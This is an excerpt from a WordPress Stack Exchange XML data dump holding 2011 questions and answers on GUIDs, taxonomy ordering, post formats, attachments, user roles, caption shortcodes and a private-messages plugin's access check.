  <row Id="14311" PostTypeId="2" ParentId="14307" CreationDate="2011-04-08T16:33:55.903" Score="1" ViewCount="" Body="&lt;p&gt;Short answer: &lt;strong&gt;yes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GUID field is meant to represent a &lt;a href=&quot;http://en.wikipedia.org/wiki/Guid&quot; rel=&quot;nofollow&quot;&gt;globally unique identifier&lt;/a&gt; for the post.  In WordPress we just happen to use the URL.  The GUID field should never be thought of as an actual URL, though ... just an identifier for the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reality, the GUID field could contain anything that's unique.  But if you have two posts that share the same GUID, you might want to consider bumping one or the other.  Importing the CSV of posts into an empty blog and using the WordPress Import/Export mechanism would help.  Or setting &lt;code&gt;[n]&lt;/code&gt; to be the ID the post &lt;em&gt;will&lt;/em&gt; have after import.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-04-08T16:33:55.903" CommentCount="3" />
  <row Id="14312" PostTypeId="2" ParentId="14185" CreationDate="2011-04-08T16:33:59.200" Score="-1" ViewCount="" Body="&lt;p&gt;Ok,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a tutorial on Youtube about how to use the Advertising Manager plugin: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=DxG-nWQkduM&quot; rel=&quot;nofollow&quot;&gt;Youtube Tutorial Link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's odd that the plugin's homepage is always down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Laxmidi&lt;/p&gt;&#xA;" OwnerUserId="4509" LastActivityDate="2011-04-08T16:33:59.200" />
  <row Id="14313" PostTypeId="2" ParentId="14306" CreationDate="2011-04-08T16:36:19.473" Score="0" ViewCount="" Body="&lt;p&gt;Yes, but it is pretty involved...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add to functions.php in your theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function orderby_tax_clauses( $clauses, $wp_query ) {&#xA;    global $wpdb;&#xA;    $taxonomies = get_taxonomies();&#xA;    foreach ($taxonomies as $taxonomy) {&#xA;        if ( isset( $wp_query-&amp;gt;query['orderby'] ) &amp;amp;&amp;amp; $taxonomy == $wp_query-&amp;gt;query['orderby'] ) {&#xA;            $clauses['join'] .=&amp;lt;&amp;lt;&amp;lt;SQL&#xA;LEFT OUTER JOIN {$wpdb-&amp;gt;term_relationships} ON {$wpdb-&amp;gt;posts}.ID={$wpdb-&amp;gt;term_relationships}.object_id&#xA;LEFT OUTER JOIN {$wpdb-&amp;gt;term_taxonomy} USING (term_taxonomy_id)&#xA;LEFT OUTER JOIN {$wpdb-&amp;gt;terms} USING (term_id)&#xA;SQL;&#xA;            $clauses['where'] .= &quot; AND (taxonomy = '{$taxonomy}' OR taxonomy IS NULL)&quot;;&#xA;            $clauses['groupby'] = &quot;object_id&quot;;&#xA;            $clauses['orderby'] = &quot;GROUP_CONCAT({$wpdb-&amp;gt;terms}.name ORDER BY name ASC) &quot;;&#xA;            $clauses['orderby'] .= ( 'ASC' == strtoupper( $wp_query-&amp;gt;get('order') ) ) ? 'ASC' : 'DESC';&#xA;        }&#xA;    }&#xA;    return $clauses;&#xA;}&#xA;&#xA;    add_filter('posts_clauses', 'orderby_tax_clauses', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is frankensteined from some found stuff and some stuff I did myself. Explaining is pretty tough, but the bottom line is with this running, you may put ?orderby=(taxonomy query var)&amp;amp;order=ASC (or DESC) and she'll take right off!&lt;/p&gt;&#xA;" OwnerUserId="4282" LastEditorUserId="4282" LastEditorDisplayName="" LastEditDate="2011-04-09T06:38:53.323" LastActivityDate="2011-04-09T06:38:53.323" CommentCount="4" />
  <row Id="14314" PostTypeId="2" ParentId="14257" CreationDate="2011-04-08T16:45:47.790" Score="4" ViewCount="" Body="&lt;p&gt;&lt;code&gt;has_post_format()&lt;/code&gt; returns a BOOLEAN value, which is useful for conditionals, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! has_post_format() ) {&#xA;     // I'm a standard-format post; do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( has_post_format( array( 'gallery', 'image' ) ) {&#xA;     // I'm a gallery or image format post; do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_post_format()&lt;/code&gt; returns the string value of the current post format type, which is useful in several ways. One of the most powerful is to call different template part files based on post format, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part( 'entry', get_post_format() )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will include, e.g. &quot;entry-aside.php&quot; for an aside format, or &quot;entry.php&quot; for a standard format.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-08T16:45:47.790" CommentCount="2" />
  <row Id="14315" PostTypeId="2" ParentId="14269" CreationDate="2011-04-08T16:49:31.983" Score="0" ViewCount="" Body="&lt;p&gt;Try exporting your WordPress data, installing a fresh copy of the latest version of WordPress (currently 3.1.1), using a fresh database, and then re-importing your WordPress data.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-08T16:49:31.983" />
  <row Id="14316" PostTypeId="2" ParentId="6798" CreationDate="2011-04-08T16:58:35.263" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/noautop/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/noautop/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made this a while back, you can just install it and use it, or dig into the code (its a super small plugin) and see how I do it. The plugin adds the tag the_content_noautop(); which you can use in your template specifically when you don't need a paragraph tag.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-08T16:58:35.263" />
  <row Id="14318" PostTypeId="5" CreationDate="2011-04-08T19:07:17.530" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-04-08T19:07:17.530" LastActivityDate="2011-04-08T19:07:17.530" />
  <row Id="14319" PostTypeId="4" CreationDate="2011-04-08T19:07:17.530" Score="0" ViewCount="" Body="HyperDB is a drop-in database extension that adds support for multiple databases. It is developed and maintained by Automattic and used on WordPress.com." OwnerUserId="-1" LastEditorUserId="498" LastEditorDisplayName="" LastEditDate="2011-04-08T19:16:11.503" LastActivityDate="2011-04-08T19:16:11.503" />
  <row Id="14320" PostTypeId="2" ParentId="11591" CreationDate="2011-04-08T19:21:40.210" Score="4" ViewCount="" Body="&lt;p&gt;Don't you need to use &lt;code&gt;get_posts( 'post_type=attachment' )&lt;/code&gt; to return the attachment IDs? So, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array( &#xA;     'post_type' =&amp;gt; 'attachment', &#xA;     'numberposts' =&amp;gt; -1, &#xA;     'post_status' =&amp;gt; null, &#xA;     'post_parent' =&amp;gt; $post-&amp;gt;ID &#xA;);    &#xA;$attachments = get_posts( $args );&#xA;$myimageid = $attachments[0]-&amp;gt;ID;&#xA;&#xA;wp_get_attachment_image( $myimageid, 'full' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you're using $post-&gt;ID of 1, which isn't likely to work.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-08T19:21:40.210" CommentCount="1" />
  <row Id="14321" PostTypeId="2" ParentId="5532" CreationDate="2011-04-08T19:53:58.400" Score="1" ViewCount="" Body="&lt;p&gt;When you create a custom menu item for the custom post type archive you have to include the entire url and not just '/your-custom-post-type-name'. If you use the entire url the wordpress url rewrite function will check it against all the other menu items as well as against all your pages and so on. What you end up with in the menu parent is something like 'current-menu-ancestor current-menu-parent current_page_parent current_page_ancestor'. &lt;/p&gt;&#xA;" OwnerUserId="4546" LastActivityDate="2011-04-08T19:53:58.400" CommentCount="1" />
  <row Id="14322" PostTypeId="2" ParentId="14286" CreationDate="2011-04-08T20:08:59.533" Score="1" ViewCount="" Body="&lt;p&gt;You might want to use &lt;code&gt;WP_User::set_role( 'contributor' )&lt;/code&gt; instead. It unsets all current roles and sets the new one (the argument) too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the above would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($count_posts &amp;gt;= $postlimit) {&#xA;  $current_user-&amp;gt;set_role( 'contributor' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-04-19T18:04:17.187" LastActivityDate="2011-04-19T18:04:17.187" />
  <row Id="14323" PostTypeId="1" AcceptedAnswerId="14324" CreationDate="2011-04-08T20:09:49.627" Score="0" ViewCount="474" Body="&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;&lt;br/&gt;&#xA;How can I get the name and the permalink of the object returned by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_object_terms&quot; rel=&quot;nofollow&quot;&gt;wp_get_object_terms()&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Detailled:&lt;/strong&gt;&lt;br/&gt;&#xA;I created a custom post type called &quot;ge_zielgruppe&quot; and a taxonomy called &quot;ge_zielgruppe_taxonomy&quot;. The latter can be attached to posts and to &quot;ge_zielgruppe&quot; post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the single page of &quot;ge_zielgruppe&quot; I want to show the last few posts tagged with the same &quot;ge_zielgruppe_taxonomy&quot;. I achieved this with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$theZielgruppe = wp_get_object_terms($post-&amp;gt;ID, 'ge_zielgruppe_taxonomy');&#xA;$zielgruppe = new WP_Query(array('ge_zielgruppe_taxonomy' =&amp;gt; $theZielgruppe-&amp;gt;slug));&#xA;$zielgruppe-&amp;gt;query('showposts=10');&#xA;if ($zielgruppe-&amp;gt;have_posts()) :&#xA;    while ($zielgruppe-&amp;gt;have_posts()) :&#xA;        $zielgruppe-&amp;gt;the_post();&#xA;?&amp;gt;&#xA;&amp;lt;&amp;lt;--archive-stuff--&amp;gt;&amp;gt;&#xA;&amp;lt;?php&#xA;    endwhile;&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This part works (however, I don't know if it's elegant).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'd like to put a link right after these 10 posts, looking like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;&amp;lt;--permalink to archive of 'ge_zielgruppe_taxonomy'--&amp;gt;&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;More posts for &amp;lt;&amp;lt;--Name of 'ge_zielgruppe_taxonomy'--&amp;gt;&amp;gt;; &quot;&amp;gt;More posts for &amp;lt;&amp;lt;--Name of 'ge_zielgruppe_taxonomy'--&amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So how do I get&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;&amp;lt;--permalink to archive of 'ge_zielgruppe_taxonomy'--&amp;gt;&amp;gt;&lt;/code&gt;&#xA;and&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;&amp;lt;--Name of 'ge_zielgruppe_taxonomy'--&amp;gt;&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4544" LastEditorUserId="4544" LastEditorDisplayName="" LastEditDate="2011-04-08T20:27:48.340" LastActivityDate="2011-04-08T20:47:36.890" Title="Proper use of wp_get_object_terms" Tags="&lt;custom-taxonomy&gt;&lt;wp-get-object-terms&gt;" AnswerCount="1" />
  <row Id="14324" PostTypeId="2" ParentId="14323" CreationDate="2011-04-08T20:17:56.590" Score="1" ViewCount="" Body="&lt;p&gt;To fetch the archive url for that taxonomy term, use something like this (I'm using your naming conventions above, and assuming that &lt;code&gt;$theZielgruppe&lt;/code&gt; is a term object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = get_term_link( $theZielgruppe, 'ge_zielgruppe_taxonomy' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the name, just use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$theZielgruppe-&amp;gt;name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that what you're looking for?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The link above would then look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_term_link( $theZielgruppe, 'ge_zielgruppe_taxonomy' ); ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;More posts for &amp;lt;?php echo $theZielgruppe-&amp;gt;name; ?&amp;gt;; &quot;&amp;gt;More posts for &amp;lt;?php echo $theZielgruppe-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;EDIT 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp_get_object_terms()&lt;/code&gt; returns an array of terms. If you changed each use of &lt;code&gt;$theZielgruppe&lt;/code&gt; to &lt;code&gt;$theZielgruppe[0]&lt;/code&gt; to use the first term that the current &lt;code&gt;ge_zielgruppe&lt;/code&gt; relates to. A warning, though: &lt;code&gt;wp_get_object_terms()&lt;/code&gt; can return as either an empty array or as a &lt;code&gt;WP_Error&lt;/code&gt;. You might want to change your code to check for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$theZielgruppe = wp_get_object_terms($post-&amp;gt;ID, 'ge_zielgruppe_taxonomy');&#xA;if( !empty( $theZielgruppe ) &amp;amp;&amp;amp; !is_wp_error( $theZielgruppe ) ):&#xA;    $theZielgruppe = $theZielgruppe[0];&#xA;    $zielgruppe = new WP_Query(array('ge_zielgruppe_taxonomy' =&amp;gt; $theZielgruppe-&amp;gt;slug));&#xA;    $zielgruppe-&amp;gt;query('showposts=10');&#xA;    if ($zielgruppe-&amp;gt;have_posts()) :&#xA;        while ($zielgruppe-&amp;gt;have_posts()) :&#xA;            $zielgruppe-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;    &amp;lt;&amp;lt;--archive-stuff--&amp;gt;&amp;gt;&#xA;    &amp;lt;?php&#xA;        endwhile;&#xA;    endif;&#xA;    ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_term_link( $theZielgruppe, 'ge_zielgruppe_taxonomy' ); ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;More posts for &amp;lt;?php echo $theZielgruppe-&amp;gt;name; ?&amp;gt;; &quot;&amp;gt;More posts for &amp;lt;?php echo $theZielgruppe-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;?php&#xA;endif;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-04-08T20:47:36.890" LastActivityDate="2011-04-08T20:47:36.890" CommentCount="8" />
  <row Id="14325" PostTypeId="2" ParentId="14305" CreationDate="2011-04-08T21:20:11.957" Score="1" ViewCount="" Body="&lt;p&gt;Here's what you can do. There's a filter at the beginning of the shortcode execution function for the front end that will let you hijack the captions. Returning a non-empty value will stop execution of the shortcode, so if you just process the shortcode the way you want it to be processed and return that result, you can get rid of the pesky 10px of inline padding. Putting something like this in your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in a plugin will work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse14305_img_caption( $empty_string, $attributes, $content ){&#xA;  extract(shortcode_atts(array(&#xA;    'id' =&amp;gt; '',&#xA;    'align' =&amp;gt; 'alignnone',&#xA;    'width' =&amp;gt; '',&#xA;    'caption' =&amp;gt; ''&#xA;  ), $attributes));&#xA;  if ( empty($caption) )&#xA;    return $content;&#xA;  if ( $id ) $id = 'id=&quot;' . esc_attr($id) . '&quot; ';&#xA;  return '&amp;lt;div ' . $id . 'class=&quot;wp-caption ' . esc_attr($align) . '&quot;&amp;gt;' . do_shortcode( $content ) . '&amp;lt;p class=&quot;wp-caption-text&quot;&amp;gt;' . $caption . '&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;add_filter( 'img_caption_shortcode', 'wpse14305_img_caption', 10, 3 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-04-08T21:20:11.957" />
  <row Id="14326" PostTypeId="1" CreationDate="2011-04-08T22:05:22.490" Score="0" ViewCount="44" Body="&lt;p&gt;I made an Wordpress theme, with pages and posts. The loop of posts show me a short brief of post and a Continue reading link. I like this, but how can I make the theme show in the post brief of the loop image(s) attached to post at beginning, if any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="4530" LastActivityDate="2011-04-08T22:05:22.490" Title="Loop content with first images to" Tags="&lt;loop&gt;" CommentCount="1" />
  <row Id="14327" PostTypeId="2" ParentId="9870" CreationDate="2011-04-08T22:22:31.807" Score="0" ViewCount="" Body="&lt;p&gt;I had a similar requirement and wanted to create several end-points based on unique slugs that pointed to content generated by the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at the source for my plugin:  &lt;a href=&quot;https://wordpress.org/extend/plugins/picasa-album-uploader/&quot; rel=&quot;nofollow&quot;&gt;https://wordpress.org/extend/plugins/picasa-album-uploader/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The technique I used starts by adding a filter for &lt;code&gt;the_posts&lt;/code&gt; to examine the incoming request.  If the plugin should handle it, a dummy post is generated and an action is added for &lt;code&gt;template_redirect&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the &lt;code&gt;template_redirect&lt;/code&gt; action is called, it must result in outputting the entire contents of the page to be displayed and exit or it should return with no output generated.  See the code in &lt;code&gt;wp_include/template-loader.php&lt;/code&gt; and you'll see why.&lt;/p&gt;&#xA;" OwnerUserId="4547" LastActivityDate="2011-04-08T22:22:31.807" />
  <row Id="14328" PostTypeId="1" CreationDate="2011-04-08T23:02:33.830" Score="0" ViewCount="108" Body="&lt;p&gt;I am using wordpress to create a Private Messages plugin, which is going to work with the bbpress plugin. The plugin is entirely based on custom post types. I have a custom post type for the actual private message (called &quot;wpbbpm&quot;), and I have a custom taxonomy to specify the user id's of the recipients of the message (the taxonomy is called &quot;to&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of private messages is that they are private, and should only be viewed by the recipients of the message, or by the person who created the message. To do this, I am using single-wpbbpm.php in my theme to limit who can view the post. The code prevents anyone who's user id is not listed in the custom taxonomy &quot;to&quot;, or anyone who is not the author of the post, from viewing the message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;single-wpbbpm.php (in my theme):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;get_currentuserinfo();&#xA;$currentuseridwpbbpm = $current_user-&amp;gt;ID ;&#xA;$currentqueriedobjectwpbbpm = get_queried_object_id() ;&#xA;$args=array(&#xA;'to' =&amp;gt; $currentuseridwpbbpm,&#xA;'post_type' =&amp;gt; 'wpbbpm',&#xA;'post_status' =&amp;gt; 'publish',&#xA;'p' =&amp;gt; $currentqueriedobjectwpbbpm&#xA;);&#xA;$to_query = null;&#xA;$to_query = new WP_Query($args);&#xA;echo $currentuseridwpbbpm;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if ( $to_query-&amp;gt;have_posts() ) while ( $to_query-&amp;gt;have_posts() ) : $to_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;&amp;lt;b&amp;gt;Subject: &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;b&amp;gt;From: &amp;lt;a href=&quot;&amp;lt;?php bbp_user_profile_link( the_author_meta( 'ID' ) ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;b&amp;gt;&amp;lt;?php the_terms( $post-&amp;gt;ID, 'to', 'To: ', ', ', ' ' ); ?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;b&amp;gt;&amp;lt;?php the_date( 'D, d M Y H:i:s', 'Sent On: ' ); ?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;?php endwhile; else { ?&amp;gt;&#xA;&amp;lt;?php &#xA;get_currentuserinfo();&#xA;$currentuseridwpbbpm = $current_user-&amp;gt;ID ;&#xA;$currentqueriedobjectwpbbpm = get_queried_object_id() ;&#xA;$args=array(&#xA;'author' =&amp;gt; $currentuseridwpbbpm,&#xA;'post_type' =&amp;gt; 'wpbbpm',&#xA;'post_status' =&amp;gt; 'publish',&#xA;'p' =&amp;gt; $currentqueriedobjectwpbbpm&#xA;);&#xA;$to_query = null;&#xA;$to_query = new WP_Query($args);&#xA;?&amp;gt;&#xA;&amp;lt;?php if ( $to_query-&amp;gt;have_posts() ) while ( $to_query-&amp;gt;have_posts() ) : $to_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;&amp;lt;b&amp;gt;Subject: &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;b&amp;gt;From: &amp;lt;a href=&quot;&amp;lt;?php bbp_user_profile_link( the_author_meta( 'ID' ) ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;b&amp;gt;&amp;lt;?php the_terms( $post-&amp;gt;ID, 'to', 'To: ', ', ', ' ' ); ?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;b&amp;gt;&amp;lt;?php the_date( 'D, d M Y H:i:s', 'Sent On: ' ); ?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;?php endwhile; else { ?&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php _e('Sorry, you can not view with post.'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php } } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason, the code isn't working. &lt;b&gt;The custom post type is displayed even if the person's user-id is not listed in the to taxonomy, or if the person is not the author.&lt;/b&gt; Can anyone tell me what is wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I just realized that I forgot the description of what was wrong (duh). I added the description to the question, and if you missed it, here it is again: &lt;b&gt;The custom post type is displayed even if the person's user-id is not listed in the to taxonomy, or if the person is not the author.&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I am assuming that by &quot;the way you are inserting the post_type and the terms&quot; you mean how I am creating the custom post type and the custom taxonomy. The code that creates them is in a plugin, called wordpress bbpress private messages. Here is the code from the functions file from the plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_wpbbpm_post_types' );&#xA;&#xA;function create_wpbbpm_post_types() {&#xA;    register_post_type( 'wpbbpm',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Private Messages' ),&#xA;                'singular_name' =&amp;gt; __( 'Private Message' ),&#xA;                'add_new' =&amp;gt; __( 'Add New' ),&#xA;                'add_new_item' =&amp;gt; __( 'Add New Private Message' ),&#xA;                'edit' =&amp;gt; __( 'Edit' ),&#xA;                'edit_item' =&amp;gt; __( 'Edit Private Message' ),&#xA;                'new_item' =&amp;gt; __( 'New Private Message' ),&#xA;                'view' =&amp;gt; __( 'View Private Message' ),&#xA;                'view_item' =&amp;gt; __( 'View Private Message' ),&#xA;                'search_items' =&amp;gt; __( 'Search Private Messages' ),&#xA;                'not_found' =&amp;gt; __( 'No private messages found' ),&#xA;                'not_found_in_trash' =&amp;gt; __( 'No private messages found in Trash' ),&#xA;                'parent' =&amp;gt; __( 'Parent Private Message' ),&#xA;            ),&#xA;            'public' =&amp;gt; true,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'publicly_queryable' =&amp;gt; true,&#xA;            'exclude_from_search' =&amp;gt; true,&#xA;            'hierarchical' =&amp;gt; false,&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'pm', 'with_front' =&amp;gt; false ),&#xA;            'capability_type' =&amp;gt; 'wpbbpm',&#xA;            'capabilities' =&amp;gt; array(&#xA;                'publish_posts' =&amp;gt; 'publish_wpbbpms',&#xA;                'edit_posts' =&amp;gt; 'edit_wpbbpms',&#xA;                'edit_others_posts' =&amp;gt; 'edit_others_wpbbpms',&#xA;                'delete_posts' =&amp;gt; 'delete_wpbbpms',&#xA;                'delete_others_posts' =&amp;gt; 'delete_others_wpbbpms',&#xA;                'read_private_posts' =&amp;gt; 'read_private_wpbbpms',&#xA;                'delete_post' =&amp;gt; 'delete_wpbbpm',&#xA;                'read_post' =&amp;gt; 'read_wpbbpm',&#xA;            ),&#xA;        )&#xA;    );&#xA;}&#xA;&#xA;add_action( 'init', 'create_wpbbpm_taxonomies' );&#xA;&#xA;function create_wpbbpm_taxonomies() {&#xA;&#xA;    register_taxonomy(&#xA;        'to',&#xA;        array( 'wpbbpm' ),&#xA;        array(&#xA;            'public' =&amp;gt; true,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'show_tagcloud' =&amp;gt; false,&#xA;            'show_in_nav_menus' =&amp;gt; false,&#xA;            'hierarchical' =&amp;gt; false,&#xA;            'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'pmto', 'with_front' =&amp;gt; false ),&#xA;            'labels' =&amp;gt; array( 'name' =&amp;gt; 'To', 'singular_name' =&amp;gt; 'To' )&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find anything wrong with that code, and the admin ui for the post types and taxonomy is created, so I don't think the problem is there...&lt;/p&gt;&#xA;" OwnerUserId="4238" LastEditorUserId="4238" LastEditorDisplayName="" LastEditDate="2011-04-09T15:21:09.180" LastActivityDate="2011-04-09T15:21:09.180" Title="Worpdress Custom Post Types Theming Question:" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;loop&gt;" CommentCount="4" />
